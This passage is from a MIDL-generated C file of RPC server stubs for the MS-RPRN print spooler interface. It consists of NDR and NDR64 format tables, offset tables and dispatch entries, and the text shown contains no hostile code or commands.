1999 | /* 42 */ 2000 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2001 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */ 2002 | /* 46 */ 2003 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 2004 | /* 48 */ NdrFcShort( 0x2 ), /* Offset= 2 (50) */ 2005 | /* 50 */ 0x30, /* FC_BIND_CONTEXT */ 2006 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ 2007 | /* 52 */ 0x0, /* 0 */ 2008 | 0x0, /* 0 */ 2009 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */ 2010 | 0x41, /* Ctxt flags: in, can't be null */ 2011 | /* 56 */ 0x0, /* 0 */ 2012 | 0x0, /* 0 */ 2013 | /* 58 */ 2014 | 0x12, 0x0, /* FC_UP */ 2015 | /* 60 */ NdrFcShort( 0x38 ), /* Offset= 56 (116) */ 2016 | /* 62 */ 2017 | 0x1b, /* FC_CARRAY */ 2018 | 0x1, /* 1 */ 2019 | /* 64 */ NdrFcShort( 0x2 ), /* 2 */ 2020 | /* 66 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 2021 | 0x0, /* */ 2022 | /* 68 */ NdrFcShort( 0xc ), /* 12 */ 2023 | /* 70 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 2024 | /* 72 */ 0x6, /* FC_SHORT */ 2025 | 0x5b, /* FC_END */ 2026 | /* 74 */ 2027 | 0x1a, /* FC_BOGUS_STRUCT */ 2028 | 0x3, /* 3 */ 2029 | /* 76 */ NdrFcShort( 0x18 ), /* 24 */ 2030 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */ 2031 | /* 80 */ NdrFcShort( 0xa ), /* Offset= 10 (90) */ 2032 | /* 82 */ 0x6, /* FC_SHORT */ 2033 | 0x6, /* FC_SHORT */ 2034 | /* 84 */ 0x8, /* FC_LONG */ 2035 | 0x8, /* FC_LONG */ 2036 | /* 86 */ 0x8, /* FC_LONG */ 2037 | 0x36, /* FC_POINTER */ 2038 | /* 88 */ 0x5c, /* FC_PAD */ 2039 | 0x5b, /* FC_END */ 2040 | /* 90 */ 2041 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2042 | /* 92 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (62) */ 2043 | /* 94 */ 2044 | 0x21, /* FC_BOGUS_ARRAY */ 2045 | 0x3, /* 3 */ 2046 | /* 96 */ NdrFcShort( 0x0 ), /* 0 */ 2047 | /* 98 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 2048 | 0x0, /* */ 2049 | /* 100 */ NdrFcShort( 0x8 ), /* 8 */ 2050 | /* 102 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 2051 | /* 104 */ NdrFcLong( 0xffffffff ), /* -1 */ 2052 | /* 108 */ NdrFcShort( 0x0 ), /* Corr flags: */ 2053 | /* 110 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ 2054 | 0x0, /* 0 */ 2055 | /* 112 */ NdrFcShort( 0xffda ), /* Offset= -38 (74) */ 2056 | /* 114 */ 0x5c, /* FC_PAD */ 2057 | 0x5b, /* FC_END */ 2058 | /* 116 */ 2059 | 0x1a, /* FC_BOGUS_STRUCT */ 2060 | 0x3, /* 3 */ 2061 | /* 118 */ NdrFcShort( 0x18 ), /* 24 */ 2062 | /* 120 */ NdrFcShort( 0x0 ), /* 0 */ 2063 | /* 122 */ NdrFcShort( 0x8 ), /* Offset= 8 (130) */ 2064 | /* 124 */ 0x8, /* FC_LONG */ 2065 | 0x8, /* FC_LONG */ 2066 | /* 126 */ 0x8, /* FC_LONG */ 2067 | 0x40, /* FC_STRUCTPAD4 */ 2068 | /* 128 */ 0x36, /* FC_POINTER */ 2069 | 0x5b, /* FC_END */ 2070 | /* 130 */ 2071 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2072 | /* 132 */ NdrFcShort( 0xffda ), /* Offset= -38 (94) */ 2073 | 2074 | 0x0 2075 | } 2076 | }; 2077 | 2078 | static const NDR_RUNDOWN RundownRoutines[] = 2079 | { 2080 | PRINTER_HANDLE_rundown 2081 | }; 2082 | 2083 | 2084 | static const unsigned short winspool_FormatStringOffsetTable[] = 2085 | { 2086 | 0, 2087 | 36, 2088 | 104, 2089 | 140, 2090 | 176, 2091 | 212, 2092 | 248, 2093 | 284, 2094 | 320, 2095 | 356, 2096 | 392, 2097 | 428, 2098 | 464, 2099 | 500, 2100 | 536, 2101 | 572, 2102 | 608, 2103 | 644, 2104 | 680, 2105 | 716, 2106 | 752, 2107 | 788, 2108 | 824, 2109 | 860, 2110 | 896, 2111 | 932, 2112 | 968, 2113 | 1004, 2114 | 1040, 2115 | 1076, 2116 | 1120, 2117 | 1156, 2118 | 1192, 2119 | 1228, 2120 | 1264, 2121 | 1300, 2122 | 1336, 2123 | 1372, 2124 | 1402, 2125 | 1432, 2126 | 1468, 2127 | 1504, 2128 | 1540, 2129 | 1576, 2130 | 1606, 2131 | 1636, 2132 | 1666, 2133 | 1702, 2134 | 1738, 2135 | 1774, 2136 | 1804, 2137 | 1834, 2138 | 1870, 2139 | 1906, 2140 | 1942, 2141 | 1972, 2142 | 2002, 2143 | 2038, 2144 | 2068, 2145 | 2104, 2146 | 2140, 2147 | 2176, 2148 | 2212, 2149 | 2248, 2150 | 2278, 2151 | 2308 2152 | }; 2153 | 2154 | 2155 | static const RPC_DISPATCH_FUNCTION winspool_table[] = 2156 | { 2157 | NdrServerCall2, 2158 | NdrServerCall2, 2159 | NdrServerCall2, 2160 | NdrServerCall2, 2161 | NdrServerCall2, 2162 | NdrServerCall2, 2163 | NdrServerCall2, 2164 | NdrServerCall2, 2165 | NdrServerCall2, 2166 | NdrServerCall2, 2167 | NdrServerCall2, 2168 | NdrServerCall2, 2169 | NdrServerCall2, 2170 | NdrServerCall2, 2171 | NdrServerCall2, 2172 | NdrServerCall2, 2173 | NdrServerCall2, 2174 | NdrServerCall2, 2175 | NdrServerCall2, 2176 | NdrServerCall2, 2177 | NdrServerCall2, 2178 | NdrServerCall2, 2179 | NdrServerCall2, 2180 | NdrServerCall2, 2181 | NdrServerCall2, 2182 | NdrServerCall2, 2183 | NdrServerCall2, 2184 | NdrServerCall2, 2185 | NdrServerCall2, 2186 | NdrServerCall2, 2187 | NdrServerCall2, 2188 | NdrServerCall2, 2189 | NdrServerCall2, 2190 | NdrServerCall2, 2191 | NdrServerCall2, 2192 | NdrServerCall2, 2193 | NdrServerCall2, 2194 | NdrServerCall2, 2195 | NdrServerCall2, 2196 | NdrServerCall2, 2197 | NdrServerCall2, 2198 | NdrServerCall2, 2199 | NdrServerCall2, 2200 | NdrServerCall2, 2201 | NdrServerCall2, 2202 | NdrServerCall2, 2203 | NdrServerCall2, 2204 | NdrServerCall2, 2205 | NdrServerCall2, 2206 | NdrServerCall2, 2207 | NdrServerCall2, 2208 | NdrServerCall2, 2209 | NdrServerCall2, 2210 | NdrServerCall2, 2211 | NdrServerCall2, 2212 | NdrServerCall2, 2213 | NdrServerCall2, 2214 | NdrServerCall2, 2215 | NdrServerCall2, 2216 | NdrServerCall2, 2217 | NdrServerCall2, 2218 | NdrServerCall2, 2219 | NdrServerCall2, 2220 | NdrServerCall2, 2221 | NdrServerCall2, 2222 | NdrServerCall2, 2223 | 0 2224 | }; 2225 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable = 2226 | { 2227 | 66, 2228 | (RPC_DISPATCH_FUNCTION*)winspool_table 2229 | }; 2230 | 2231 | 2232 | #endif /* defined(_M_AMD64)*/ 2233 | 2234 | 2235 | 2236 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 2237 | 2238 | 2239 | /* File created by MIDL compiler version 8.01.0622 */ 2240 | /* at Mon Jan 18 22:14:07 2038 2241 | */ 2242 | /* Compiler settings for ms-rprn.idl: 2243 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 2244 | protocol : all , ms_ext, c_ext, robust 2245 | error checks: allocation ref bounds_check enum stub_data 2246 | VC __declspec() decoration level: 2247 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 2248 | DECLSPEC_UUID(), MIDL_INTERFACE() 2249 | */ 2250 | /* @@MIDL_FILE_HEADING( ) */ 2251 | 2252 | #if defined(_M_AMD64) 2253 | 2254 | 2255 | 2256 | extern const NDR_RUNDOWN RundownRoutines[]; 2257 | 2258 | #if !defined(__RPC_WIN64__) 2259 | #error Invalid build platform for this stub. 2260 | #endif 2261 | 2262 | 2263 | #include "ndr64types.h" 2264 | #include "pshpack8.h" 2265 | 2266 | 2267 | typedef 2268 | NDR64_FORMAT_CHAR 2269 | __midl_frag153_t; 2270 | extern const __midl_frag153_t __midl_frag153; 2271 | 2272 | typedef 2273 | struct 2274 | { 2275 | struct _NDR64_POINTER_FORMAT frag1; 2276 | } 2277 | __midl_frag152_t; 2278 | extern const __midl_frag152_t __midl_frag152; 2279 | 2280 | typedef 2281 | struct 2282 | { 2283 | NDR64_FORMAT_UINT32 frag1; 2284 | struct _NDR64_EXPR_VAR frag2; 2285 | } 2286 | __midl_frag151_t; 2287 | extern const __midl_frag151_t __midl_frag151; 2288 | 2289 | typedef 2290 | struct 2291 | { 2292 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2293 | struct _NDR64_ARRAY_ELEMENT_INFO frag2; 2294 | } 2295 | __midl_frag150_t; 2296 | extern const __midl_frag150_t __midl_frag150; 2297 | 2298 | typedef 2299 | struct 2300 | { 2301 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; 2302 | struct 2303 | { 2304 | struct _NDR64_NO_REPEAT_FORMAT frag1; 2305 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; 2306 | struct _NDR64_POINTER_FORMAT frag3; 2307 | NDR64_FORMAT_CHAR frag4; 2308 | } frag2; 2309 | } 2310 | __midl_frag149_t; 2311 | extern const __midl_frag149_t __midl_frag149; 2312 | 2313 | typedef 2314 | NDR64_FORMAT_CHAR 2315 | __midl_frag148_t; 2316 | extern const __midl_frag148_t __midl_frag148; 2317 | 2318 | typedef 2319 | struct 2320 | { 2321 | NDR64_FORMAT_UINT32 frag1; 2322 | struct _NDR64_EXPR_VAR frag2; 2323 | } 2324 | __midl_frag145_t; 2325 | extern const __midl_frag145_t __midl_frag145; 2326 | 2327 | typedef 2328 | struct 2329 | { 2330 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2331 | struct 2332 | { 2333 | struct _NDR64_REPEAT_FORMAT frag1; 2334 | struct 2335 | { 2336 | struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; 2337 | struct _NDR64_POINTER_FORMAT frag2; 2338 | } frag2; 2339 | NDR64_FORMAT_CHAR frag3; 2340 | } frag2; 2341 | struct _NDR64_ARRAY_ELEMENT_INFO frag3; 2342 | } 2343 | __midl_frag144_t; 2344 | extern const __midl_frag144_t __midl_frag144; 2345 | 2346 | typedef 2347 | struct 2348 | { 2349 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 2350 | struct 2351 | { 2352 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 2353 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; 2354 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; 2355 | struct _NDR64_MEMPAD_FORMAT frag4; 2356 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; 2357 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; 2358 | } frag2; 2359 | } 2360 | __midl_frag143_t; 2361 | extern const __midl_frag143_t __midl_frag143; 2362 | 2363 | typedef 2364 | struct _NDR64_POINTER_FORMAT 2365 | __midl_frag142_t; 2366 | extern const __midl_frag142_t __midl_frag142; 2367 | 2368 | typedef 2369 | struct _NDR64_CONFORMANT_STRING_FORMAT 2370 | __midl_frag140_t; 2371 | extern const __midl_frag140_t __midl_frag140; 2372 | 2373 | typedef 2374 | struct _NDR64_POINTER_FORMAT 2375 | __midl_frag139_t; 2376 | extern const __midl_frag139_t __midl_frag139; 2377 | 2378 | typedef 2379 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2380 | __midl_frag136_t; 2381 | extern const __midl_frag136_t __midl_frag136; 2382 | 2383 | typedef 2384 | struct 2385 | { 2386 | struct _NDR64_PROC_FORMAT frag1; 2387 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2388 | struct _NDR64_PARAM_FORMAT frag3; 2389 | struct _NDR64_PARAM_FORMAT frag4; 2390 | struct _NDR64_PARAM_FORMAT frag5; 2391 | struct _NDR64_PARAM_FORMAT frag6; 2392 | struct _NDR64_PARAM_FORMAT frag7; 2393 | struct _NDR64_PARAM_FORMAT frag8; 2394 | struct _NDR64_PARAM_FORMAT frag9; 2395 | } 2396 | __midl_frag135_t; 2397 | extern const __midl_frag135_t __midl_frag135; 2398 | 2399 | typedef 2400 | struct 2401 | { 2402 | struct _NDR64_PROC_FORMAT frag1; 2403 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2404 | } 2405 | __midl_frag134_t; 2406 | extern const __midl_frag134_t __midl_frag134; 2407 | 2408 | typedef 2409 | struct 2410 | { 2411 | struct _NDR64_PROC_FORMAT frag1; 2412 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2413 | struct _NDR64_PARAM_FORMAT frag3; 2414 | } 2415 | __midl_frag131_t; 2416 | extern const __midl_frag131_t __midl_frag131; 2417 | 2418 | typedef 2419 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2420 | __midl_frag75_t; 2421 | extern const __midl_frag75_t __midl_frag75; 2422 | 2423 | typedef 2424 | struct _NDR64_POINTER_FORMAT 2425 | __midl_frag74_t; 2426 | extern const __midl_frag74_t __midl_frag74; 2427 | 2428 | typedef 2429 | struct 2430 | { 2431 | struct _NDR64_PROC_FORMAT frag1; 2432 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2433 | struct _NDR64_PARAM_FORMAT frag3; 2434 | struct _NDR64_PARAM_FORMAT frag4; 2435 | } 2436 | __midl_frag73_t; 2437 | extern const __midl_frag73_t __midl_frag73; 2438 | 2439 | typedef 2440 | struct 2441 | { 2442 | struct _NDR64_POINTER_FORMAT frag1; 2443 | } 2444 | __midl_frag16_t; 2445 | extern const __midl_frag16_t __midl_frag16; 2446 | 2447 | typedef 2448 | NDR64_FORMAT_CHAR 2449 | __midl_frag15_t; 2450 | extern const __midl_frag15_t __midl_frag15; 2451 | 2452 | typedef 2453 | struct 2454 | { 2455 | NDR64_FORMAT_UINT32 frag1; 2456 | struct _NDR64_EXPR_VAR frag2; 2457 | } 2458 | __midl_frag14_t; 2459 | extern const __midl_frag14_t __midl_frag14; 2460 | 2461 | typedef 2462 | struct 2463 | { 2464 | struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; 2465 | struct _NDR64_ARRAY_ELEMENT_INFO frag2; 2466 | } 2467 | __midl_frag13_t; 2468 | extern const __midl_frag13_t __midl_frag13; 2469 | 2470 | typedef 2471 | struct 2472 | { 2473 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 2474 | struct 2475 | { 2476 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 2477 | struct _NDR64_MEMPAD_FORMAT frag2; 2478 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; 2479 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; 2480 | } frag2; 2481 | } 2482 | __midl_frag12_t; 2483 | extern const __midl_frag12_t __midl_frag12; 2484 | 2485 | typedef 2486 | struct _NDR64_POINTER_FORMAT 2487 | __midl_frag11_t; 2488 | extern const __midl_frag11_t __midl_frag11; 2489 | 2490 | typedef 2491 | struct _NDR64_CONTEXT_HANDLE_FORMAT 2492 | __midl_frag8_t; 2493 | extern const __midl_frag8_t __midl_frag8; 2494 | 2495 | typedef 2496 | struct _NDR64_POINTER_FORMAT 2497 | __midl_frag7_t; 2498 | extern const __midl_frag7_t __midl_frag7; 2499 | 2500 | typedef 2501 | struct 2502 | { 2503 | struct _NDR64_PROC_FORMAT frag1; 2504 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 2505 | struct _NDR64_PARAM_FORMAT frag3; 2506 | struct _NDR64_PARAM_FORMAT frag4; 2507 | struct _NDR64_PARAM_FORMAT frag5; 2508 | struct _NDR64_PARAM_FORMAT frag6; 2509 | struct _NDR64_PARAM_FORMAT frag7; 2510 | struct _NDR64_PARAM_FORMAT frag8; 2511 | } 2512 | __midl_frag4_t; 2513 | extern const __midl_frag4_t __midl_frag4; 2514 | 2515 | typedef 2516 | NDR64_FORMAT_UINT32 2517 | __midl_frag1_t; 2518 | extern const __midl_frag1_t __midl_frag1; 2519 | 2520 | static const __midl_frag153_t __midl_frag153 = 2521 | 0x5 /* FC64_INT32 */; 2522 | 2523 | static const __midl_frag152_t __midl_frag152 = 2524 | { 2525 | /* */ 2526 | { 2527 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2528 | 0x21, /* FC64_UP */ 2529 | (NDR64_UINT8) 32 /* 0x20 */, 2530 | (NDR64_UINT16) 0 /* 0x0 */, 2531 | &__midl_frag144 2532 | } 2533 | }; 2534 | 2535 | static const __midl_frag151_t __midl_frag151 = 2536 | { 2537 | /* */ 2538 | (NDR64_UINT32) 1 /* 0x1 */, 2539 | { 2540 | /* struct _NDR64_EXPR_VAR */ 2541 | 0x3, /* FC_EXPR_VAR */ 2542 | 0x6, /* FC64_UINT32 */ 2543 | (NDR64_UINT16) 0 /* 0x0 */, 2544 | (NDR64_UINT32) 12 /* 0xc */ 2545 | } 2546 | }; 2547 | 2548 | static const __midl_frag150_t __midl_frag150 = 2549 | { 2550 | /* *short */ 2551 | { 2552 | /* *short */ 2553 | 0x41, /* FC64_CONF_ARRAY */ 2554 | (NDR64_UINT8) 1 /* 0x1 */, 2555 | { 2556 | /* *short */ 2557 | 0, 2558 | 0, 2559 | 0, 2560 | 0, 2561 | 0, 2562 | 0, 2563 | 0, 2564 | 0 2565 | }, 2566 | (NDR64_UINT8) 0 /* 0x0 */, 2567 | (NDR64_UINT32) 2 /* 0x2 */, 2568 | &__midl_frag151 2569 | }, 2570 | { 2571 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 2572 | (NDR64_UINT32) 2 /* 0x2 */, 2573 | &__midl_frag148 2574 | } 2575 | }; 2576 | 2577 | static const __midl_frag149_t __midl_frag149 = 2578 | { 2579 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2580 | { 2581 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2582 | 0x31, /* FC64_PSTRUCT */ 2583 | (NDR64_UINT8) 7 /* 0x7 */, 2584 | { 2585 | /* RPC_V2_NOTIFY_OPTIONS_TYPE */ 2586 | 1, 2587 | 0, 2588 | 0, 2589 | 0, 2590 | 0, 2591 | 0, 2592 | 0, 2593 | 0 2594 | }, 2595 | (NDR64_UINT8) 0 /* 0x0 */, 2596 | (NDR64_UINT32) 24 /* 0x18 */ 2597 | }, 2598 | { 2599 | /* */ 2600 | { 2601 | /* struct _NDR64_NO_REPEAT_FORMAT */ 2602 | 0x80, /* FC64_NO_REPEAT */ 2603 | (NDR64_UINT8) 0 /* 0x0 */, 2604 | (NDR64_UINT16) 0 /* 0x0 */, 2605 | (NDR64_UINT32) 0 /* 0x0 */ 2606 | }, 2607 | { 2608 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ 2609 | (NDR64_UINT32) 16 /* 0x10 */, 2610 | (NDR64_UINT32) 0 /* 0x0 */ 2611 | }, 2612 | { 2613 | /* *short */ 2614 | 0x21, /* FC64_UP */ 2615 | (NDR64_UINT8) 32 /* 0x20 */, 2616 | (NDR64_UINT16) 0 /* 0x0 */, 2617 | &__midl_frag150 2618 | }, 2619 | 0x93 /* FC64_END */ 2620 | } 2621 | }; 2622 | 2623 | static const __midl_frag148_t __midl_frag148 = 2624 | 0x4 /* FC64_INT16 */; 2625 | 2626 | static const __midl_frag145_t __midl_frag145 = 2627 | { 2628 | /* */ 2629 | (NDR64_UINT32) 1 /* 0x1 */, 2630 | { 2631 | /* struct _NDR64_EXPR_VAR */ 2632 | 0x3, /* FC_EXPR_VAR */ 2633 | 0x6, /* FC64_UINT32 */ 2634 | (NDR64_UINT16) 0 /* 0x0 */, 2635 | (NDR64_UINT32) 8 /* 0x8 */ 2636 | } 2637 | }; 2638 | 2639 | static const __midl_frag144_t __midl_frag144 = 2640 | { 2641 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2642 | { 2643 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2644 | 0x41, /* FC64_CONF_ARRAY */ 2645 | (NDR64_UINT8) 7 /* 0x7 */, 2646 | { 2647 | /* *RPC_V2_NOTIFY_OPTIONS_TYPE */ 2648 | 1, 2649 | 0, 2650 | 0, 2651 | 0, 2652 | 0, 2653 | 0, 2654 | 0, 2655 | 0 2656 | }, 2657 | (NDR64_UINT8) 0 /* 0x0 */, 2658 | (NDR64_UINT32) 24 /* 0x18 */, 2659 | &__midl_frag145 2660 | }, 2661 | { 2662 | /* */ 2663 | { 2664 | /* struct _NDR64_REPEAT_FORMAT */ 2665 | 0x82, /* FC64_VARIABLE_REPEAT */ 2666 | { 2667 | /* struct _NDR64_REPEAT_FORMAT */ 2668 | (NDR64_UINT8) 1 /* 0x1 */, 2669 | (NDR64_UINT8) 0 /* 0x0 */ 2670 | }, 2671 | (NDR64_UINT16) 0 /* 0x0 */, 2672 | (NDR64_UINT32) 24 /* 0x18 */, 2673 | (NDR64_UINT32) 0 /* 0x0 */, 2674 | (NDR64_UINT32) 1 /* 0x1 */ 2675 | }, 2676 | { 2677 | /* */ 2678 | { 2679 | /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ 2680 | (NDR64_UINT32) 16 /* 0x10 */, 2681 | (NDR64_UINT32) 0 /* 0x0 */ 2682 | }, 2683 | { 2684 | /* *short */ 2685 | 0x21, /* FC64_UP */ 2686 | (NDR64_UINT8) 32 /* 0x20 */, 2687 | (NDR64_UINT16) 0 /* 0x0 */, 2688 | &__midl_frag150 2689 | } 2690 | }, 2691 | 0x93 /* FC64_END */ 2692 | }, 2693 | { 2694 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 2695 | (NDR64_UINT32) 24 /* 0x18 */, 2696 | &__midl_frag149 2697 | } 2698 | }; 2699 | 2700 | static const __midl_frag143_t __midl_frag143 = 2701 | { 2702 | /* RPC_V2_NOTIFY_OPTIONS */ 2703 | { 2704 | /* RPC_V2_NOTIFY_OPTIONS */ 2705 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 2706 | (NDR64_UINT8) 7 /* 0x7 */, 2707 | { 2708 | /* RPC_V2_NOTIFY_OPTIONS */ 2709 | 1, 2710 | 1, 2711 | 0, 2712 | 0, 2713 | 0, 2714 | 0, 2715 | 0, 2716 | 0 2717 | }, 2718 | (NDR64_UINT8) 0 /* 0x0 */, 2719 | (NDR64_UINT32) 24 /* 0x18 */, 2720 | 0, 2721 | 0, 2722 | &__midl_frag152, 2723 | }, 2724 | { 2725 | /* */ 2726 | { 2727 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2728 | 0x5, /* FC64_INT32 */ 2729 | (NDR64_UINT8) 0 /* 0x0 */, 2730 | (NDR64_UINT16) 0 /* 0x0 */, 2731 | (NDR64_UINT32) 0 /* 0x0 */ 2732 | }, 2733 | { 2734 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2735 | 0x5, /* FC64_INT32 */ 2736 | (NDR64_UINT8) 0 /* 0x0 */, 2737 | (NDR64_UINT16) 0 /* 0x0 */, 2738 | (NDR64_UINT32) 0 /* 0x0 */ 2739 | }, 2740 | { 2741 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2742 | 0x5, /* FC64_INT32 */ 2743 | (NDR64_UINT8) 0 /* 0x0 */, 2744 | (NDR64_UINT16) 0 /* 0x0 */, 2745 | (NDR64_UINT32) 0 /* 0x0 */ 2746 | }, 2747 | { 2748 | /* struct _NDR64_MEMPAD_FORMAT */ 2749 | 0x90, /* FC64_STRUCTPADN */ 2750 | (NDR64_UINT8) 0 /* 0x0 */, 2751 | (NDR64_UINT16) 4 /* 0x4 */, 2752 | (NDR64_UINT32) 0 /* 0x0 */ 2753 | }, 2754 | { 2755 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2756 | 0x14, /* FC64_POINTER */ 2757 | (NDR64_UINT8) 0 /* 0x0 */, 2758 | (NDR64_UINT16) 0 /* 0x0 */, 2759 | (NDR64_UINT32) 0 /* 0x0 */ 2760 | }, 2761 | { 2762 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2763 | 0x93, /* FC64_END */ 2764 | (NDR64_UINT8) 0 /* 0x0 */, 2765 | (NDR64_UINT16) 0 /* 0x0 */, 2766 | (NDR64_UINT32) 0 /* 0x0 */ 2767 | } 2768 | } 2769 | }; 2770 | 2771 | static const __midl_frag142_t __midl_frag142 = 2772 | { 2773 | /* *RPC_V2_NOTIFY_OPTIONS */ 2774 | 0x21, /* FC64_UP */ 2775 | (NDR64_UINT8) 0 /* 0x0 */, 2776 | (NDR64_UINT16) 0 /* 0x0 */, 2777 | &__midl_frag143 2778 | }; 2779 | 2780 | static const __midl_frag140_t __midl_frag140 = 2781 | { 2782 | /* *wchar_t */ 2783 | { 2784 | /* *wchar_t */ 2785 | 0x64, /* FC64_CONF_WCHAR_STRING */ 2786 | { 2787 | /* *wchar_t */ 2788 | 0, 2789 | 0, 2790 | 0, 2791 | 0, 2792 | 0, 2793 | 0, 2794 | 0, 2795 | 0 2796 | }, 2797 | (NDR64_UINT16) 2 /* 0x2 */ 2798 | } 2799 | }; 2800 | 2801 | static const __midl_frag139_t __midl_frag139 = 2802 | { 2803 | /* *wchar_t */ 2804 | 0x21, /* FC64_UP */ 2805 | (NDR64_UINT8) 0 /* 0x0 */, 2806 | (NDR64_UINT16) 0 /* 0x0 */, 2807 | &__midl_frag140 2808 | }; 2809 | 2810 | static const __midl_frag136_t __midl_frag136 = 2811 | { 2812 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 2813 | 0x70, /* FC64_BIND_CONTEXT */ 2814 | (NDR64_UINT8) 65 /* 0x41 */, 2815 | (NDR64_UINT8) 0 /* 0x0 */, 2816 | (NDR64_UINT8) 1 /* 0x1 */ 2817 | }; 2818 | 2819 | static const __midl_frag135_t __midl_frag135 = 2820 | { 2821 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ 2822 | { 2823 | /* RpcRemoteFindFirstPrinterChangeNotificationEx */ /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */ 2824 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ 2825 | (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ 2826 | (NDR64_UINT32) 60 /* 0x3c */, 2827 | (NDR64_UINT32) 8 /* 0x8 */, 2828 | (NDR64_UINT16) 0 /* 0x0 */, 2829 | (NDR64_UINT16) 0 /* 0x0 */, 2830 | (NDR64_UINT16) 7 /* 0x7 */, 2831 | (NDR64_UINT16) 8 /* 0x8 */ 2832 | }, 2833 | { 2834 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2835 | { 2836 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2837 | 0x70, /* FC64_BIND_CONTEXT */ 2838 | (NDR64_UINT8) 64 /* 0x40 */, 2839 | 0 /* 0x0 */, /* Stack offset */ 2840 | (NDR64_UINT8) 0 /* 0x0 */, 2841 | (NDR64_UINT8) 0 /* 0x0 */ 2842 | }, 2843 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2844 | }, 2845 | { 2846 | /* hPrinter */ /* parameter hPrinter */ 2847 | &__midl_frag136, 2848 | { 2849 | /* hPrinter */ 2850 | 0, 2851 | 0, 2852 | 0, 2853 | 1, 2854 | 0, 2855 | 0, 2856 | 0, 2857 | 0, 2858 | 0, 2859 | 0, 2860 | 0, 2861 | 0, 2862 | 0, 2863 | (NDR64_UINT16) 0 /* 0x0 */, 2864 | 0 2865 | }, /* [in] */ 2866 | (NDR64_UINT16) 0 /* 0x0 */, 2867 | 0 /* 0x0 */, /* Stack offset */ 2868 | }, 2869 | { 2870 | /* fdwFlags */ /* parameter fdwFlags */ 2871 | &__midl_frag153, 2872 | { 2873 | /* fdwFlags */ 2874 | 0, 2875 | 0, 2876 | 0, 2877 | 1, 2878 | 0, 2879 | 0, 2880 | 1, 2881 | 1, 2882 | 0, 2883 | 0, 2884 | 0, 2885 | 0, 2886 | 0, 2887 | (NDR64_UINT16) 0 /* 0x0 */, 2888 | 0 2889 | }, /* [in], Basetype, ByValue */ 2890 | (NDR64_UINT16) 0 /* 0x0 */, 2891 | 8 /* 0x8 */, /* Stack offset */ 2892 | }, 2893 | { 2894 | /* fdwOptions */ /* parameter fdwOptions */ 2895 | &__midl_frag153, 2896 | { 2897 | /* fdwOptions */ 2898 | 0, 2899 | 0, 2900 | 0, 2901 | 1, 2902 | 0, 2903 | 0, 2904 | 1, 2905 | 1, 2906 | 0, 2907 | 0, 2908 | 0, 2909 | 0, 2910 | 0, 2911 | (NDR64_UINT16) 0 /* 0x0 */, 2912 | 0 2913 | }, /* [in], Basetype, ByValue */ 2914 | (NDR64_UINT16) 0 /* 0x0 */, 2915 | 16 /* 0x10 */, /* Stack offset */ 2916 | }, 2917 | { 2918 | /* pszLocalMachine */ /* parameter 